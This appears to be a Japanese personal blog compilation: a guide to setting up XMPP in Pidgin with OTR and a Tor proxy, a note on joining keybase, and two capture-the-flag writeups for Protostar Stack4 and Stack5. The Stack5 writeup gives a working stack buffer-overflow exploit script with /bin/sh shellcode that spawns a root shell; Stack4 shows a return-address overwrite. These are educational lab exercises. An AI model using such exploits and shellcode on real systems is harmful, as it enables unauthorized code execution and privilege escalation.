XMPPことはじめ
XMPP(jabber)で連絡をする必要が出てきたので、その時にとった対応を書きます。
環境
$ uname -a Linux mint-vm 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Pidginのインストール
PidginはXMPPを扱えるソフトです。 インストールには下記コマンドを入力します。
$ sudo apt install pidgin
アカウント作成
Pidginを入れたら今度はXMPPのアカウントを作成します。 今回はXMPP.JPを使ってみます。 トップページの「アカウントを作成」から作ります。 (画像は例)
アカウントをPidginに登録する
アカウントの管理から「追加」を押し下の画像のように入力してください。 入力を済ませたら「追加」を押します。 画像のようになったらアカウントの登録ができました。 あとは仲間リストというウィンドウが出てくるので、そこで連絡先を追加したり実際に連絡をとってみたりしてください。
(おまけ)
OTRというものがあります。 これは暗号化によって通信内容を秘匿する仕組みです。 詳しくはこちら。 Pidginはプラグインを導入することでOTRに対応させることができます。 まずは下のコマンドを入力
$ sudo apt install pidgin-otr
次にPidginの仲間リストウィンドウの「ツール」->「プラグイン」を選択。 出てきたリストの中に「Off-the-Record Messaging」という項目があるのでチェックを入れる。 そのまま下の方の「プラグインの設定」を選択。 出てきたウィンドウの「My private keys」という項目の「Generate」を押す。 OTR用の鍵が生成されるので少し待ちます。 鍵が生成されたら終わりです。 これで「OTR有効じゃないと連絡しないよ!!」と言っている人とも連絡できますね :)
(おまけ2)
XMPPで連絡を取りたいけど何処から通信しているか秘匿したいと思う人は多いはず。 そんな需要があってかPidginではプロキシを設定することができます。 今回はTorをプロキシとして設定してみます。 とは言っても簡単で、まずはTorをインストール。
$ sudo apt install tor
次にPidginのアカウント管理画面からTorを通したいアカウントを選択して設定画面を出します。 そこの「プロキシ」タブを選択。 プロキシの種類を「Tor/Privacy(SOCKS5)」に選択。 そしてTorがリッスンしているIPアドレスとポート番号を入力します(下の画像は私の例) これで終わりです。
keybaseを始めた
久しぶりにメールボックスを開いてみたら招待メールが来ていたので始めた。
ちなみにメールが届いたのは7月20日。
メール開かなすぎだろ俺...
アカウントはこちら
keybase.io
ここに書いてある手順で書くサービスを認証させた。
qiita.com
おわり
protostar Stack5 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack5を解いたので、そのwriteupを書いていく
### Stack5
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バイナリのmain関数
$ objdump -d ./stack5 | grep main\>: -A9 080483c4 <main>: 80483c4: 55 push ebp 80483c5: 89 e5 mov ebp,esp 80483c7: 83 e4 f0 and esp,0xfffffff0 80483ca: 83 ec 50 sub esp,0x50 80483cd: 8d 44 24 10 lea eax,[esp+0x10] 80483d1: 89 04 24 mov DWORD PTR [esp],eax 80483d4: e8 0f ff ff ff call 80482e8 <gets@plt> 80483d9: c9 leave 80483da: c3 ret
前回同様76バイトより後ろがリターンアドレスのようだ.
$ python -c 'print "A"*75' | ./stack5 $ python -c 'print "A"*76' | ./stack5 Segmentation fault
Stack4と同じように脆弱性があるが今回はwin()がない.
というわけで自分で適当なシェルコードを流しこんでシェルを起動させる.
シェルコードとはコンピュータが命令として解釈できる文字列で, もっぱら脆弱性を利用して何らかの命令を実行させたいときに利用される.
よく脆弱性が見つかった時に"不正なコードを実行する脆弱性"と紹介されるが, これの不正なコードにあたるものがシェルコードだ.
今回は下記リンクのコードを使う.
http://shell-storm.org/shellcode/files/shellcode-827.php
これはx86のLinux環境でexecve("/bin/sh")を走らせた時と同じ振る舞いをする.
$ ltrace ./stack5 __libc_start_main(0x80483c4, 1, 0xbffff8a4, 0x80483f0, 0x80483e0 <unfinished ...> gets(0xbffff7b0, 0xb7ec6165, 0xbffff7b8, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff7b0 +++ exited (status 176) +++
これを見るとespの位置は0xbffff7b0であることがわかる.
bufferはそこに0x10分足した場所から始まるので0xbffff7c0であるとわかる.
ここから書き換えたいリターンアドレスとのオフセットは76バイト, さらにリターンアドレス4バイトを足した先にシェルコードを設置し読み込ませる.
bufferの先頭アドレスからリターンアドレスを含めたオフセットは80バイトで, これを0xbffff7c0と足すと0xbffff810となる.
まとめると
0xbffff7c0から76バイトを埋める
0xbffff80c(0xbffff7c0+76)の位置にその直後のアドレスを書き込む
0xbffff810(0xbffff7c0+80)の位置からシェルコードを書き込む
ということになる.
コードにすると下記のようになる
#!/usr/bin/env python import struct buffer = 0xbffff7c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def p32(num): return struct.pack("<L", num) payload = "A"*76 payload += p32(buffer+80) payload += shellcode print payload
これを標準入力からStack5に入れてもシェルが開くだけなのでcatを利用し入力できるようにする.
実行は下記のようになる.
$ (/tmp/stack5.py; cat -) | ./stack5 whoami root
バイナリの所有者権限に昇格することができたので成功とする.
Stack5 おわり
protostar stack4 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack4を解いたので、そのwriteupを書いていく
### Stack4
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バッファオーバーフロー脆弱性がある.
バイナリのmain関数
$ objdump -d ./stack4 | grep main\>: -A9 08048408 <main>: 8048408: 55 push ebp 8048409: 89 e5 mov ebp,esp 804840b: 83 e4 f0 and esp,0xfffffff0 804840e: 83 ec 50 sub esp,0x50 8048411: 8d 44 24 10 lea eax,[esp+0x10] 8048415: 89 04 24 mov DWORD PTR [esp],eax 8048418: e8 ef fe ff ff call 804830c <gets@plt> 804841d: c9 leave 804841e: c3 ret
今回はリターンアドレスを書き換えてwin()を実行する.
実行して見る前にリターンアドレスとは何かについて書く.
プログラムはcall命令を実行すると, その関数内で次に実行する命令のアドレス(コレをリターンアドレスと呼ぶ)をスタックにプッシュする.
そしてcall命令で指定されたアドレスに格納されているコードの連なりである関数を実行していく.
次にその関数が呼ばれる直前のebpをプッシュしebpにespの値を入れる.
さらに"and esp,0xfffffff0"を実行しespに格納されている最後のバイトを0にする.
その後espから値を引くことで使いたい分だけスタックを確保する.
関数内で処理が終わると最後にret命令が実行される.
ret命令はebp+4バイト先にあるcall命令時に格納された値をeipにセットし実行を続ける命令.
このサイトを見るとわかりやすいと思う(http://d.hatena.ne.jp/yz2cm/20130526/1369591965)
こういった仕組みでプログラムは動いているがここで問題が発生する.
スタック上に格納されたリターンアドレスを何らかの脆弱性を利用し書き換えられた場合, eipが書き換えられたアドレスを指すようになり, そこに格納された命令を実行し始めてしまうのだ.
つまりリターンアドレスが格納されている場所にwin()のアドレスを書き込めばwin()が実行されるというわけだ.
ではどのようにメモリ上のリターンアドレスの位置を見つけるのか実際にやってみる.
まずはltraceでどのように関数が呼ばれているか見てみる.
$ ltrace ./stack4 __libc_start_main(0x8048408, 1, 0xbffff854, 0x8048430, 0x8048420 <unfinished ...> gets(0xbffff760, 0xb7ec6165, 0xbffff768, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff760 +++ exited (status 96) +++
0xbffff760に書き込んでいるようだ.
このことから0xbffff760がbufferの先頭アドレスであると推測できる.
↑[7/11追記]これは間違いだった.
正しくはespに格納された値を読みに行っているようだ.
lea eax,[esp+0x10]
mov DWORD PTR [esp],eax
で[esp+10]のbufferの位置がespの指す0xbffff760に格納されていてこれを読んでいるみたい.
バイナリの処理を考慮しつつebpの値を計算すると
0xbffff760 - 0x10 + 0x50 = 0xbffff7a0
となる.
bufferからの差は 0xbffff7a0 - 0xbffff7a0 = 64
"and esp,0xfffffff0"で再開バイトが0になっているので実際の差は64~80範囲だ.
というわけで調べてみる.
$ python -c 'print "A"*72' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault $ python -c 'print "A"*74' | ./stack4 $ python -c 'print "A"*75' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault
どうやら76バイト以降がリターンアドレスのようだ.
以上のことか76バイト+win()のアドレスを入力すればwin()が実行できると考えられる.
次にnmコマンドでwin()のアドレスを探す.
$ nm ./stack4 | grep win 080483f4 T win
実行してみる.
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed Segmentation fault
win()関数が実行されたことがわかる.
Stack4 おわり